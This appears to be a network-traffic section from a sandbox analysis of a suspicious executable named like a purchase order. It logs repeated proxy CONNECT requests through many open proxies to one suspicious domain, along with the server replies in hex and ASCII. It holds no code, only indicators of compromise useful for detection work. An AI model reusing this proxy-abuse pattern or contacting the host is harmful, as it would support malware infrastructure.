Mar 11, 2024 16:39:50.402836084 CET	310	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 15:39:50 GMT Content-Type: text/html; charset=utf-8 Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1196	192.168.2.10	53566	94.130.94.45	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.110860109 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1197	192.168.2.10	53568	115.84.248.140	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.116190910 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:39:50.426503897 CET	1286	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:50 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.1e-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: Wed, 11 Jan 1984 05:00:00 GMT Content-Length: 3172 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 54 68 65 20 55 6e 69 66 6f 72 6d 20 53 65 72 76 65 72 20 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 44 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 54 68 65 20 55 6e 69 66 6f 72 6d 20 53 65 72 76 65 72 20 5a 65 72 6f 20 31 31 2e 32 2e 30 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 4b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 54 68 65 20 55 6e 69 66 6f 72 6d 20 53 65 72 76 65 72 2c 20 4d 50 47 2c 20 4d 69 6b 65 20 47 6c 65 61 76 65 73 2c 20 52 69 63 2c 20 55 6e 69 53 65 72 76 65 72 2c 20 4f 6c 61 6a 69 64 65 2c 20 42 6f 62 53 20 22 20 2f 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 20 2f 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 2f 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2f 0d 0a 2e 69 6e 74 72 6f 7b 0d 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 33 30 70 78 3b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 0d 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 0d 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 3b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 45 37 45 37 46 44 3b 0d 0a 7d 0d 0a 2f 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2f 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 3c 64 69 76 20 69 64 3d 22 77 72 61 70 22 3e 0d 0a 20 20 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 0d 0a 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 75 6e 69 66 6f 72 6d 73 65 72 76 65 72 2e 63 6f 6d 22 3e 3c 69 6d 67 20 73 72 63 3d 22 69 6d 61 67 65 73 2f 6c 6f 67 6f 2e 70 6e 67 22 20 61 6c 69 67 6e 3d 22 6c 65 66 74 22 20 61 6c 74 3d 22 54 68 65 20 55 6e 69 66 6f 72 6d 20 53 65 72 76 65 72 22 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html;charset=utf-8" /><title>The Uniform Server </title><meta name="Description" content="The Uniform Server Zero 11.2.0" /><meta name="Keywords" content="The Uniform Server, MPG, Mike Gleaves, Ric, UniServer, Olajide, BobS " /><link rel="stylesheet" type="text/css" href="css/style.css" media="screen" /></head><style type="text/css">/***************************************/.intro{ margin-top:30px; padding:10px; font-size:12px; font-family:Verdana; background-color: #E7E7FD;}/***************************************/</style><body><div id="wrap"> <div id="header"> <a href="http://www.uniformserver.com"><img src="images/logo.png" align="left" alt="The Uniform Server"
Mar 11, 2024 16:39:50.783087015 CET	454	IN	HTTP/1.1 400 Bad Request Date: Mon, 11 Mar 2024 15:39:50 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.1e-fips mod_fcgid/2.3.9 PHP/5.6.40 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1198	192.168.2.10	53476	199.102.104.70	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.118743896 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1199	192.168.2.10	52201	148.72.23.56	36111	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.123718023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.207593918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.207767010 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:02.301707983 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1200	192.168.2.10	53585	172.67.182.150	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.124937057 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.278971910 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1201	192.168.2.10	53570	121.182.138.71	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.126633883 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.426728964 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 15:39:50 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1202	192.168.2.10	53186	34.30.26.177	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.128113031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.176676035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.286180019 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:02.286118984 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:14.285717964 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:26.285691023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:38.285789967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:02.285715103 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:50.316814899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1203	192.168.2.10	53602	104.16.105.15	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.134885073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.289462090 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1204	192.168.2.10	53281	134.122.22.233	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.138135910 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.207863092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.207818985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:02.301712036 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:14.337146997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:26.410676003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:38.410664082 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:02.535665989 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1205	192.168.2.10	53242	85.109.104.100	9090	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.149923086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.176676989 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.286207914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:02.286118984 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:14.285753012 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:26.285691023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:38.285789967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:02.285715103 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:50.316814899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1206	192.168.2.10	53667	43.153.55.205	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.151592016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1207	192.168.2.10	53668	43.153.55.205	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.152904034 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1208	192.168.2.10	53670	43.153.55.205	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.154149055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1209	192.168.2.10	53672	43.153.55.205	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.155759096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

